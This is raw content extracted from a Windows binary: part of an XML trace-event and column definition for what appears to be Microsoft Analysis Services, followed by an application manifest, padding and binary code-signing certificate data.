            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>96</ID>
          <NAME>PageIn Begin</NAME>
          <DESCRIPTION>PageIn Begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>97</ID>
          <NAME>PageIn End</NAME>
          <DESCRIPTION>PageIn End</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Resource Governance</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for resource governance.</DESCRIPTION>
      <EVENTLIST>
        <EVENT>
          <ID>113</ID>
          <NAME>WLGroup CPU Throttling</NAME>
          <DESCRIPTION>Workload Group is throttled on CPU usage</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>114</ID>
          <NAME>WLGroup Exceeds Memory Limit</NAME>
          <DESCRIPTION>Workload group exceeds the memory limit</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
        <EVENT>
          <ID>115</ID>
          <NAME>WLGroup Exceeds Processing Limit</NAME>
          <DESCRIPTION>Workload group exceeds the processing limit</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>M Data Provider Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events collected from the M Data Provider</DESCRIPTION>
      <EVENTLIST>
        <EVENT>
          <ID>130</ID>
          <NAME>Execute Source Query</NAME>
          <DESCRIPTION>Collection of all queries that are executed against the data source</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>
      </EVENTLIST>
    </EVENTCATEGORY>

  </EVENTCATEGORYLIST>

  <COLUMNLIST>
    <COLUMN>
      <ID>0</ID>
      <TYPE>1</TYPE>
      <NAME>EventClass</NAME>
      <DESCRIPTION>Event Class is used to categorize events.</DESCRIPTION>
      <FILTERABLE>false</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>1</ID>
      <TYPE>1</TYPE>
      <NAME>EventSubclass</NAME>
      <DESCRIPTION>Event Subclass provides additional information about each event class.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>2</ID>
      <TYPE>5</TYPE>
      <NAME>CurrentTime</NAME>
      <DESCRIPTION>Time at which the event started, when available. For filtering, expected formats are 'YYYY-MM-DD' and 'YYYY-MM-DD HH:MM:SS'.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>3</ID>
      <TYPE>5</TYPE>
      <NAME>StartTime</NAME>
      <DESCRIPTION>Time at which the event started, when available. For filtering, expected formats are 'YYYY-MM-DD' and 'YYYY-MM-DD HH:MM:SS'.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>4</ID>
      <TYPE>5</TYPE>
      <NAME>EndTime</NAME>
      <DESCRIPTION>Time at which the event ended. This column is not populated for starting event classes, such as SQL:BatchStarting or SP:Starting. For filtering, expected formats are 'YYYY-MM-DD' and 'YYYY-MM-DD HH:MM:SS'.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>5</ID>
      <TYPE>2</TYPE>
      <NAME>Duration</NAME>
      <DESCRIPTION>Amount of time (in milliseconds) taken by the event.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>6</ID>
      <TYPE>2</TYPE>
      <NAME>CPUTime</NAME>
      <DESCRIPTION>Amount of CPU time (in milliseconds) used by the event.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>

    <COLUMN>
      <ID>7</ID>
      <TYPE>1</TYPE>
      <NAME>JobID</NAME>
      <DESCRIPTION>Job ID for progress.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>8</ID>
      <TYPE>8</TYPE>
      <NAME>SessionType</NAME>
      <DESCRIPTION>Session type (what entity caused the operation).</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>9</ID>
      <TYPE>2</TYPE>
      <NAME>ProgressTotal</NAME>
      <DESCRIPTION>Progress total.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>10</ID>
      <TYPE>2</TYPE>
      <NAME>IntegerData</NAME>
      <DESCRIPTION>Integer data.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>11</ID>
      <TYPE>8</TYPE>
      <NAME>ObjectID</NAME>
      <DESCRIPTION>Object ID (note this is a string).</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>12</ID>
      <TYPE>1</TYPE>
      <NAME>ObjectType</NAME>
      <DESCRIPTION>Object type.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>13</ID>
      <TYPE>8</TYPE>
      <NAME>ObjectName</NAME>
      <DESCRIPTION>Object name.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>14</ID>
      <TYPE>8</TYPE>
      <NAME>ObjectPath</NAME>
      <DESCRIPTION>Object path.  A comma-separated list of parents, starting with the object's parent.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>15</ID>
      <TYPE>8</TYPE>
      <NAME>ObjectReference</NAME>
      <DESCRIPTION>Object reference.  Encoded as XML for all parents, using tags to describe the object.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>22</ID>
      <TYPE>1</TYPE>
      <NAME>Severity</NAME>
      <DESCRIPTION>Severity level of an exception.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>23</ID>
      <TYPE>1</TYPE>
      <NAME>Success</NAME>
      <DESCRIPTION>1 = success. 0 = failure (for example, a 1 means success of a permissions check and a 0 means a failure of that check).</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>24</ID>
      <TYPE>1</TYPE>
      <NAME>Error</NAME>
      <DESCRIPTION>Error number of a given event.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>25</ID>
      <TYPE>1</TYPE>
      <NAME>ConnectionID</NAME>
      <DESCRIPTION>Unique connection ID.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>28</ID>
      <TYPE>8</TYPE>
      <NAME>DatabaseName</NAME>
      <DESCRIPTION>Name of the database in which the statement of the user is running.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>32</ID>
      <TYPE>8</TYPE>
      <NAME>NTUserName</NAME>
      <DESCRIPTION>Windows user name.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>33</ID>
      <TYPE>8</TYPE>
      <NAME>NTDomainName</NAME>
      <DESCRIPTION>Windows domain to which the user belongs.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>35</ID>
      <TYPE>8</TYPE>
      <NAME>ClientHostName</NAME>
      <DESCRIPTION>Name of the computer on which the client is running. This data column is populated if the host name is provided by the client.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>36</ID>
      <TYPE>1</TYPE>
      <NAME>ClientProcessID</NAME>
      <DESCRIPTION>The process ID of the client application.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>37</ID>
      <TYPE>8</TYPE>
      <NAME>ApplicationName</NAME>
      <DESCRIPTION>Name of the client application that created the connection to the server. This column is populated with the values passed by the application rather than the displayed name of the program.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>39</ID>
      <TYPE>8</TYPE>
      <NAME>SessionID</NAME>
      <DESCRIPTION>Session GUID.</DESCRIPTION>
      <FILTERABLE>false</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>40</ID>
      <TYPE>8</TYPE>
      <NAME>NTCanonicalUserName</NAME>
      <DESCRIPTION>User name in canonical form.  For example, engineering.microsoft.com/software/someone.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>41</ID>
      <TYPE>1</TYPE>
      <NAME>SPID</NAME>
      <DESCRIPTION>Server process ID.  This uniquely identifies a user session. This directly corresponds to the session GUID used by XML/A.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>42</ID>
      <TYPE>9</TYPE>
      <NAME>TextData</NAME>
      <DESCRIPTION>Text data associated with the event.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>43</ID>
      <TYPE>8</TYPE>
      <NAME>ServerName</NAME>
      <DESCRIPTION>Name of the server producing the event.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>44</ID>
      <TYPE>9</TYPE>
      <NAME>RequestParameters</NAME>
      <DESCRIPTION>Parameters for parameterized queries and commands.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>45</ID>
      <TYPE>9</TYPE>
      <NAME>RequestProperties</NAME>
      <DESCRIPTION>XMLA request properties.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>46</ID>
      <TYPE>8</TYPE>
      <NAME>ActivityID</NAME>
      <DESCRIPTION>The activity ID is used to track the request(s) from the same operation.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>47</ID>
      <TYPE>8</TYPE>
      <NAME>RequestID</NAME>
      <DESCRIPTION>The request ID is used to track a request.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>48</ID>
      <TYPE>9</TYPE>
      <NAME>CalculationExpression</NAME>
      <DESCRIPTION>Expression being evaluated when error occurred.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>49</ID>
      <TYPE>1</TYPE>
      <NAME>ErrorType</NAME>
      <DESCRIPTION>Error Type: 0 = unknown, 1 = user, 2 = system.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>false</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>50</ID>
      <TYPE>9</TYPE>
      <NAME>FunctionName</NAME>
      <DESCRIPTION>Name of the Dax extension function being executed.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>51</ID>
      <TYPE>8</TYPE>
      <NAME>UserObjectID</NAME>
      <DESCRIPTION>User Object ID.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
    <COLUMN>
      <ID>52</ID>
      <TYPE>8</TYPE>
      <NAME>ApplicationContext</NAME>
      <DESCRIPTION>The value of the ApplicationContext XMLA property as provided by external applications to assist with end-to-end correlation of user activities.</DESCRIPTION>
      <FILTERABLE>true</FILTERABLE>
      <REPEATABLE>true</REPEATABLE>
      <REPEATEDBASE>false</REPEATEDBASE>
    </COLUMN>
  </COLUMNLIST>
</TRACEDEFINITION>
PAD<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX�#0�#}	*�H��
��#n0�#j10
	`�He0\
+�7�N0L0
+�70	���010
	`�He ��k�q���'����&�>�����6*����
�0�0��3R�@�PV�u�R0
	*�H��
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
190502213746Z
200502213746Z0t10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Corporation0�"0
	*�H��
�0�
���������t�����ǔߖ�6�+�xL���5���oK��w�U��buAN��[�V7V�p�Cn�3(A6��~��/�k����>��\�6��ɳ����mJ�
�X�%y�D�����*��Or�}Y�Gڗ}tP����M�4dc�睘�*�!�U��}�W����P��e���.����lA ��+4�Ih��z%�x�tr�
����������c� �����i��Zai^���76q�3ހ����0�~0U%0
+�7L+0U��[�e�'f��5kE�0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
230012+4541360U#0�Hnd�Pӂ�77"�m��u�0TUM0K0I�G�E�Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0�Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U�00
	*�H��
���D懾��,V�(�-����6@��m�z� 65�W��Q`[�F�y8��t�ھ$�&��C��=�d�R�m���(ߜ����S�]��!��h2]g����"���S��E��v���5@��7�8��t�=0|3e�?�O��%�vS�Y�������ޭ��b�����+O�yDT
�ͅC�8xQ#�+7&�T��",ۮ8��P���h�(�T@�`���T�l������T����G6~�ܷ�f��D�k�IB���	��m������r����aݽ��G>ƚ읶��2>�Ҁ\�����]��r!���K��Q!��(�V�&sLDt�>��QZ�M����W5X��)l�}F�G�M3�s4��O��8v�vT���:�e:����*Ɲ�N�
���hP���z?别2��fwǴ��#cU�b���ӧx�\Ȇ޽�e,��Ul*!����43=+�
�m����
 ��ސ��n���Iy/钒>
�0�z0�b�
a��0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110�"0
	*�H��
�0�
���r.��n��M4��X!�B*k�ZP��8I���7k���8™��9�1BӉ
yd�~�`$l��I��h^�ߛS�
,ï٩+�z	�זY�`�fv�2R&/�PϳD�]��.u�h��m�:\��F��8d�nd5x��c-�@����
�\y�I)�
��w��=��+ZMV(�zr�:�I^���C���{�{��>��]�O��/Y�;-�3Xŷ>�2ӳ=����8~ҝ�,�NV�!5%�9ndS���#������_��R������!t%_(��'(8%�9J6�|���#��f�aj�(I�_��%]�!K>RĵW?$��z[/�#�p]QFw��Ἤ�_����UK�9��#I��D|E��rz�r�$߿F����Wۃ��MI0�����[���ݰf��{���K�I)�(��}g��bx_�/��W�\�w((��m�(�,�@7O��D��	L�ԥC/t��n�x X,]`��>O3�ڰ�ޞN�F�l���ֈ����0��0	+�70UHnd�Pӂ�77"�m��u�0	+�7
SubCA0U�0U�0�0U#0�r-:1�C�N���1�#�40ZUS0Q0O�M�K�Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0�Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0��U ��0��0��	+�7.0��0?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*�H��
�g򆥘�Ty.��tg"���c��B�}�y��e_.,>��r�m���?�
�;�G���i�c�"5��]e��}�FPU��|�K�<B�Rа�k�>.)��=�Եw�9��d�D=xz#�}��t����&F*Š�����h�h.��*?*kXIc	inZ�����F+�;н5�n%��'������(��M=����2���-�[��I9
�
�ƭ�����QEX82q'��'��,: i��Y�hno��t�@�*(>�?Mf��M��o}E�v�@*e��]Rb��c6��������'�ͥ���]cA�[��>w��u�aa������A�(��e/��\��֡F�Y�	KH���)ű��?Ew5�Ң��zz"�H���G#�����k�K���ux��7�yK�ֳ#hu������i;��0�L���umc�=ѝVNO��W"�x2!z�A
�?��̤]����WqVNHE�Bɛv[
�Hk�y���mmj�Rs
zP�1�k0�g0��0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113R�@�PV�u�R0
	`�He���0	*�H��
	1
+�70
+�710
+�70/	*�H��
	1" #/�����$�_"*�m��*�*0w��6n���0R
